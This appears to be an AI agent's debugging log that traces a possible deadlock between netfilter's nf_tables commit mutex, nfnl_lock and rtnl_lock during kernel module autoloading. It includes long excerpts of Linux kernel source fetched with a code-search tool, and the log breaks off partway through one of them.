Okay, so I'm looking at this reproducer and immediately, I don't see any obvious `rtnl_lock` contention *directly* in the code snippet. Hmm, that's not what I was expecting. But wait, what if `request_module` is called for something *else* entirely? The reproducer itself does a socket call, specifically creating a `NETLINK` socket (`AF_NETLINK`, `0x10`). Interesting. The reproducer also includes a `sendmsg` call with arguments that seem relevant to `NFT_BATCH`.
Alright, so the reproducer triggers a module load; perhaps `request_module("nf-logger-ipv4-0")` or something similar? Then, the reproducer hangs in `crda_timeout_work`. `crda_timeout_work` is scheduled via `call_crda`, which is called by `reg_set_request`, ultimately leading to a call to `schedule_work(®_regdb_work)`. Crucially, `crda_timeout_work` is *delayed* work.
Looking at the code for `crda_timeout_work`, it clearly attempts to acquire `rtnl_lock()`. If it's blocked there, that means someone *else* is holding it. Who? The reproducer does a `sendmsg` call on the netlink socket, which looks to be sending a message to `NETLINK_NETFILTER`. Does `nfnetlink_rcv_batch` hold `rtnl_lock()`? Nope, but what if the module load triggered by the reproducer holds `rtnl_lock()`?
`request_module` calls `call_usermodehelper`, which runs `/sbin/modprobe`. Aha, `/sbin/modprobe` might hold `rtnl_lock()`! However, this reproducer is sandboxed, so maybe `/sbin/modprobe` is just hanging. If `/sbin/modprobe` hangs, then `request_module` hangs. And if `request_module` hangs, the lock held by the caller of `request_module` is also held forever.
But, wait, `request_module` in `nf_ct_netns_do_get` is called *with* `nf_ct_proto_mutex` *unlocked*. That's a key detail! So `nf_ct_netns_do_get` is called from `nf_ct_netns_get`, then `nft_synproxy_do_init`, and from there `nft_synproxy_init`. Critically, `nft_synproxy_init` is called with `nfnl_lock(NFNL_SUBSYS_NFTABLES)` held!
So, the caller holds the `nfnl_lock` and then calls `request_module` which hangs. I see, if `request_module` hangs, `nfnl_lock` is held forever. But the mystery is still: why does `rtnl_lock` hang? Does `nfnl_lock` *block* `rtnl_lock` somehow? No, they are different locks, unrelated. So, does `nfnetlink_rcv_batch` *itself* hold `rtnl_lock`? That's the next point to investigate. Let's dig into `nfnetlink_rcv_batch`.
|
| 45/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv_batch]
Results: map[SourceCode: 371: static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
372: u16 subsys_id, u32 genid)
373: {
374: struct sk_buff *oskb = skb;
375: struct net *net = sock_net(skb->sk);
376: const struct nfnetlink_subsystem *ss;
377: const struct nfnl_callback *nc;
378: struct netlink_ext_ack extack;
379: LIST_HEAD(err_list);
380: u32 status;
381: int err;
382:
383: if (subsys_id >= NFNL_SUBSYS_COUNT)
384: return netlink_ack(skb, nlh, -EINVAL, NULL);
385: replay:
386: status = 0;
387: replay_abort:
388: skb = netlink_skb_clone(oskb, GFP_KERNEL);
389: if (!skb)
390: return netlink_ack(oskb, nlh, -ENOMEM, NULL);
391:
392: nfnl_lock(subsys_id);
393: ss = nfnl_dereference_protected(subsys_id);
394: if (!ss) {
395: #ifdef CONFIG_MODULES
396: nfnl_unlock(subsys_id);
397: request_module("nfnetlink-subsys-%d", subsys_id);
398: nfnl_lock(subsys_id);
399: ss = nfnl_dereference_protected(subsys_id);
400: if (!ss)
401: #endif
402: {
403: nfnl_unlock(subsys_id);
404: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
405: return consume_skb(skb);
406: }
407: }
408:
409: if (!ss->valid_genid || !ss->commit || !ss->abort) {
410: nfnl_unlock(subsys_id);
411: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
412: return consume_skb(skb);
413: }
414:
415: if (!try_module_get(ss->owner)) {
416: nfnl_unlock(subsys_id);
417: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
418: return consume_skb(skb);
419: }
420:
421: if (!ss->valid_genid(net, genid)) {
422: module_put(ss->owner);
423: nfnl_unlock(subsys_id);
424: netlink_ack(oskb, nlh, -ERESTART, NULL);
425: return consume_skb(skb);
426: }
427:
428: nfnl_unlock(subsys_id);
429:
430: if (nlh->nlmsg_flags & NLM_F_ACK) {
431: memset(&extack, 0, sizeof(extack));
432: nfnl_err_add(&err_list, nlh, 0, &extack);
433: }
434:
435: while (skb->len >= nlmsg_total_size(0)) {
436: int msglen, type;
437:
438: if (fatal_signal_pending(current)) {
439: nfnl_err_reset(&err_list);
440: err = -EINTR;
441: status = NFNL_BATCH_FAILURE;
442: goto done;
443: }
444:
445: memset(&extack, 0, sizeof(extack));
446: nlh = nlmsg_hdr(skb);
447: err = 0;
448:
449: if (nlh->nlmsg_len < NLMSG_HDRLEN ||
450: skb->len < nlh->nlmsg_len ||
451: nlmsg_len(nlh) < sizeof(struct nfgenmsg)) {
452: nfnl_err_reset(&err_list);
453: status |= NFNL_BATCH_FAILURE;
454: goto done;
455: }
456:
457: /* Only requests are handled by the kernel */
458: if (!(nlh->nlmsg_flags & NLM_F_REQUEST)) {
459: err = -EINVAL;
460: goto ack;
461: }
462:
463: type = nlh->nlmsg_type;
464: if (type == NFNL_MSG_BATCH_BEGIN) {
465: /* Malformed: Batch begin twice */
466: nfnl_err_reset(&err_list);
467: status |= NFNL_BATCH_FAILURE;
468: goto done;
469: } else if (type == NFNL_MSG_BATCH_END) {
470: status |= NFNL_BATCH_DONE;
471: goto done;
472: } else if (type < NLMSG_MIN_TYPE) {
473: err = -EINVAL;
474: goto ack;
475: }
476:
477: /* We only accept a batch with messages for the same
478: * subsystem.
479: */
480: if (NFNL_SUBSYS_ID(type) != subsys_id) {
481: err = -EINVAL;
482: goto ack;
483: }
484:
485: nc = nfnetlink_find_client(type, ss);
486: if (!nc) {
487: err = -EINVAL;
488: goto ack;
489: }
490:
491: if (nc->type != NFNL_CB_BATCH) {
492: err = -EINVAL;
493: goto ack;
494: }
495:
496: {
497: int min_len = nlmsg_total_size(sizeof(struct nfgenmsg));
498: struct nfnl_net *nfnlnet = nfnl_pernet(net);
499: struct nlattr *cda[NFNL_MAX_ATTR_COUNT + 1];
500: struct nlattr *attr = (void *)nlh + min_len;
501: u8 cb_id = NFNL_MSG_TYPE(nlh->nlmsg_type);
502: int attrlen = nlh->nlmsg_len - min_len;
503: struct nfnl_info info = {
504: .net = net,
505: .sk = nfnlnet->nfnl,
506: .nlh = nlh,
507: .nfmsg = nlmsg_data(nlh),
508: .extack = &extack,
509: };
510:
511: /* Sanity-check NFTA_MAX_ATTR */
512: if (ss->cb[cb_id].attr_count > NFNL_MAX_ATTR_COUNT) {
513: err = -ENOMEM;
514: goto ack;
515: }
516:
517: err = nla_parse_deprecated(cda,
518: ss->cb[cb_id].attr_count,
519: attr, attrlen,
520: ss->cb[cb_id].policy, &extack);
521: if (err < 0)
522: goto ack;
523:
524: err = nc->call(skb, &info, (const struct nlattr **)cda);
525:
526: /* The lock was released to autoload some module, we
527: * have to abort and start from scratch using the
528: * original skb.
529: */
530: if (err == -EAGAIN) {
531: status |= NFNL_BATCH_REPLAY;
532: goto done;
533: }
534: }
535: ack:
536: if (nlh->nlmsg_flags & NLM_F_ACK || err) {
537: /* Errors are delivered once the full batch has been
538: * processed, this avoids that the same error is
539: * reported several times when replaying the batch.
540: */
541: if (err == -ENOMEM ||
542: nfnl_err_add(&err_list, nlh, err, &extack) < 0) {
543: /* We failed to enqueue an error, reset the
544: * list of errors and send OOM to userspace
545: * pointing to the batch header.
546: */
547: nfnl_err_reset(&err_list);
548: netlink_ack(oskb, nlmsg_hdr(oskb), -ENOMEM,
549: NULL);
550: status |= NFNL_BATCH_FAILURE;
551: goto done;
552: }
553: /* We don't stop processing the batch on errors, thus,
554: * userspace gets all the errors that the batch
555: * triggers.
556: */
557: if (err)
558: status |= NFNL_BATCH_FAILURE;
559: }
560:
561: msglen = NLMSG_ALIGN(nlh->nlmsg_len);
562: if (msglen > skb->len)
563: msglen = skb->len;
564: skb_pull(skb, msglen);
565: }
566: done:
567: if (status & NFNL_BATCH_REPLAY) {
568: ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
569: nfnl_err_reset(&err_list);
570: consume_skb(skb);
571: module_put(ss->owner);
572: goto replay;
573: } else if (status == NFNL_BATCH_DONE) {
574: err = ss->commit(net, oskb);
575: if (err == -EAGAIN) {
576: status |= NFNL_BATCH_REPLAY;
577: goto done;
578: } else if (err) {
579: ss->abort(net, oskb, NFNL_ABORT_NONE);
580: netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
581: } else if (nlh->nlmsg_flags & NLM_F_ACK) {
582: memset(&extack, 0, sizeof(extack));
583: nfnl_err_add(&err_list, nlh, 0, &extack);
584: }
585: } else {
586: enum nfnl_abort_action abort_action;
587:
588: if (status & NFNL_BATCH_FAILURE)
589: abort_action = NFNL_ABORT_NONE;
590: else
591: abort_action = NFNL_ABORT_VALIDATE;
592:
593: err = ss->abort(net, oskb, abort_action);
594: if (err == -EAGAIN) {
595: nfnl_err_reset(&err_list);
596: consume_skb(skb);
597: module_put(ss->owner);
598: status |= NFNL_BATCH_FAILURE;
599: goto replay_abort;
600: }
601: }
602:
603: nfnl_err_deliver(&err_list, oskb);
604: consume_skb(skb);
605: module_put(ss->owner);
606: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 46/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 46662
output: 42
thoughts: 178
Thoughts: **Analyzing the nfnetlink Receive Batch Function**
Okay, so I'm looking at `nfnetlink_rcv_batch` and I've spotted something interesting. It grabs the `nfnl_lock(subsys_id)` at the outset, which is standard procedure for protecting the Netfilter subsystem. Then it immediately *releases* the lock with `nfnl_unlock(subsys_id)`! The immediate release is very concerning. I immediately notice the call to `nfnl_unlock` comes *before* a `while` loop that will then call `nc->call`.
This has massive implications: the crucial lock `nfnl_lock` is *not* held during the execution of `nc->call(skb, &info, (const struct nlattr **)cda)`. That could create concurrency problems. Now, the question is, what is `nc->call`? What other locks are being used here? It looks like `nc->call` is a dispatcher and handler for each netlink message.
I know that `nf_tables` does use its own lock, the `nft_lock`, which I believe is the `commit_mutex`. My immediate hunch is that the `nf_tables` handlers are going to be where I need to focus. Let's dig into `nf_tables_newrule` and see what's happening there to confirm.
|
| 47/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 48/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 51018
output: 41
thoughts: 1211
Thoughts: **Analyzing a Potential Deadlock in Netfilter Rule Creation**
Okay, let's break this down. It seems we have a potential issue related to module loading within the Netfilter (nftables) framework, specifically during rule creation. My initial thought process involves a chain of calls and locking behaviors that could lead to a deadlock scenario.
First, I see `nf_tables_expr_parse` calls `nft_expr_type_get`, which is where the trouble potentially begins. Critically, `nft_expr_type_get` can call `request_module` *without* holding `nfnl_lock`. However, `nf_tables_newrule` (which ultimately calls `nf_tables_expr_parse`) *does* hold `commit_mutex` at the time of the call to `nft_expr_type_get`! So, does `request_module` block while `commit_mutex` is held? Yes, that's the core of the problem.
`request_module` itself doesn't directly hold `rtnl_lock` because it calls `call_usermodehelper`, which kicks off a user-space process (`/sbin/modprobe`). The user-space `modprobe` then loads the kernel module. If `/sbin/modprobe` tries to load `nft_synproxy`, this calls `nft_synproxy_module_init`. Crucially, `nft_synproxy_module_init` then calls `nft_register_expr`, which *does* take `nfnl_lock`. However, `nfnetlink_rcv_batch` *drops* `nfnl_lock`! That means a `modprobe` call can be successful and then return. `request_module` returns. Then `nft_expr_type_get` retries and finds the type. `nf_tables_expr_parse` returns. `nf_tables_newrule` continues. Then, `nf_tables_newexpr` is called, and that calls `expr->ops->init`, which for `synproxy` is `nft_synproxy_do_init`.
Now, things get interesting again. Inside `nft_synproxy_do_init`, we have `nf_ct_netns_get`. If the family is `NFPROTO_BRIDGE`, that calls `request_module("nf_conntrack_bridge")`. This, *again*, happens while `commit_mutex` is held! Does `nf_conntrack_bridge` take `commit_mutex` or `rtnl_lock`? No, it calls `nf_ct_bridge_register`. So far, so good.
However, a critical thought: what if `request_module` hangs because the user-space `modprobe` hangs? A sandboxed environment could lead to that! If `modprobe` hangs, `request_module` hangs, and thus `commit_mutex` is held indefinitely.
Now, the connection to the reported `crda_timeout_work` hanging on `rtnl_lock` starts to form. Does `commit_mutex` block `rtnl_lock`? If `commit_mutex` is held (because the module load is stalled in `modprobe`), and we *also* have some other operation that requires `rtnl_lock`, then we've got a classic deadlock scenario. Let's see how `rtnl_lock` is taken here... `nf_tables_newrule` calls `nft_flow_rule_create`, but that just allocates memory.
Ultimately, `nfnetlink_rcv_batch` calls `ss->commit`. For `nf_tables`, `ss->commit` is `nf_tables_commit`. *Does* `nf_tables_commit` take `rtnl_lock`? This is the critical question. I need to look closer at `nf_tables_commit` to confirm the deadlock hypothesis.
|
| 49/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
